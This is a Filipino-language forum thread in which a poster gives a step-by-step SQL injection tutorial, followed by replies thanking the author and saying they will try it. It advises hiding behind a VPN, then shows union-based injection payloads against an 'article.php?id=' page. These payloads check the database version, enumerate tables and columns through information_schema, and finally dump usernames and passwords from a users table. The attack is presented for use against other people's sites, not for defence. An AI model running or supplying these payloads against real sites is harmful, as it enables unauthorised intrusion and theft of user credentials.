Closed (sqli tutorial)

[ooonemilliooon]

(Sqli Tutorial)
NOTE:
BAGO SIMULAN ANG LAHAT DAPAT BE WISELY AND SECURED
USED ANY VPN TO SECURED YOUR IDENTITY
OK...!
FOLLOW THE TUT:
UNA HANAP KA NG VAL
SITE NA HAhäçk MO
LETS TRY THIS SITE
EX:
You do not have permission to view the full content of this post. Log in or register now.
article.php?id=54
PANO MALALAMAN PAG
VALSITE YUNG SITE?
LAGYAN MO NG ( ' ) SA
DULO GANITO.
LABAS:
You do not have permission to view the full content of this post. Log in or register now.
article.php?id=54'
TAPOS:
ENTER! MAY MABABASA
KANG GANITO:
You have an error in your
SQL syntax; check the
manual that corresponds to
your MySQL server version for the right syntax to use
near '\'' at line 1
OK YUN SITE PWEDE I SQLI! devi emoticon
NEXT! HANAPIN
ANG TABLES NG SITE
DELETE MO YUNG ( ' ) PALITAN MO NG "order by"
tapos lagyan mo ng (10-- )
SA DULO.
GANITO:
You do not have permission to view the full content of this post. Log in or register now.
article.php?id=54 order by 10--
You do not have permission to view the full content of this post. Log in or register now.
article.php?id=54 order by 20--
You do not have permission to view the full content of this post. Log in or register now.
article.php?id=54 order by 30--
pag may '30' in 'order
clause' lumabas bawasan
mo ng bawasan hangang
mawala yung "order clause"
so ang tamang tables ay
24--
You do not have permission to view the full content of this post. Log in or register now. order by 24--
NEXT YUNG "ORDER
BY" GAWING NYONG
"UNION SELECT" AT
LAGYAN NYO NG ( - )
BAGO YUNG =58 GANITO
LABAS SURUIN NYO MABUTI!
GANITO: EXAMPLE/KUNWAY/KUNO
You do not have permission to view the full content of this post. Log in or register now. union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
ENTER! MAY MA BABASA
KANG GANITO!
3
13,3 11 117
YUNG NAKA BOLD
NUMBER ANG LALAGYAN
MO NG "@@version"
GANITO:
You do not have permission to view the full content of this post. Log in or register now.
article.php?id=-54 union select
1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
GANYAN! ENTER! tapos
may lalabas na ganto "5.1.46-log"
NOTE:
Tandaan ny lagi na pag mas ma baba sa 5.0.0 log kunware 4.45.0- log LIPAT KANA SITE
DIPWEDE YANG VERSION
NG SITE NAYAN KASE
WaLANG TABLE ECHEMA
YAN!
NEXT NA!PALITAN MO NG "group_concat (table_name)" YUNG "
@@VERSION" TAPOS SA
DULO NG 24-- TANGALIN
MO NA YUNG ( -- ) SA
DULO PALITAN MO NG
GANITO:
from information_schema.tables
wher table_schema=database()--
GANITO LABAS!
You do not have permission to view the full content of this post. Log in or register now.
article.php?id=-54 union select 1,2,group_concat (table_name),9,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from
information_schema.tables
wher table_schema=database()--
MAY MABABASA KAYO
GANITO!
cont_lic_lu,content,content_types,countries,documents,fact_page_lu,fastfacts,hpitems,hpslides,itemtypes,languages,lic_holder_lu,lic_partner_lu,licences,links,locations,newsitems,operators,pages,pictures,sections,slides,slideshows, #users
DEPEND SA SITE NYO KUNG ANo LALABAS!YUNG TARGET
NA TABLES YUNG.?
USERS TAPOS YUNG
"GROUP_CONCAT"
PALITAN NYO NG
"GROUP_CONCAT
(COLUMN_NAME) TAPOS
YUNG DULO NG "FROM"DELETE NYO
PALITAN NYO NG
"from information_schema.columns
where table_schema=database
()--"
GANITO LABAS!
You do not have permission to view the full content of this post. Log in or register now.
article.php?id=-54 union select 1,2,group_concat
(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from information_schema.columns
where table_schema=database()--
THEN the FINAL HANAPIN
ANG PASSWORD NG SITE
AND USERNAME KUNG
NA TATANDAAN NYO PA
#USERS YUNG TARGET
NATING TABLE DUN MANG GAGALING YUNG
PASSWORD AND
USERNAME ETO NA!
YUNG YUNG
(COLUMN_NAME)
PALITAN NG
(username,0x3a,password)
TAPOS YUNG DULO NG
FROM DELETE NYO NA
IWAN MO LANG YUNG
FROM AT LAGAY MO SA
DULO YUNG TARGET NATING TABLE
GANITo OH!
You do not have permission to view the full content of this post. Log in or register now.
article.php?id=-54 union select 1,2,group_concat
(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
from users-- LAGYAN MO
NG ( -- ) YUNG DULO NG
USERS!

 

[larktreblig]

Thx sa effort

 

[Romneel]

Wow salamat dito boss , tatry ko to.

 

[akosiwalter]

Salamat boss.. ok po to kesa sa isang post nyo.. salamat ulit

 

[akosiwalter]

Salamat boss..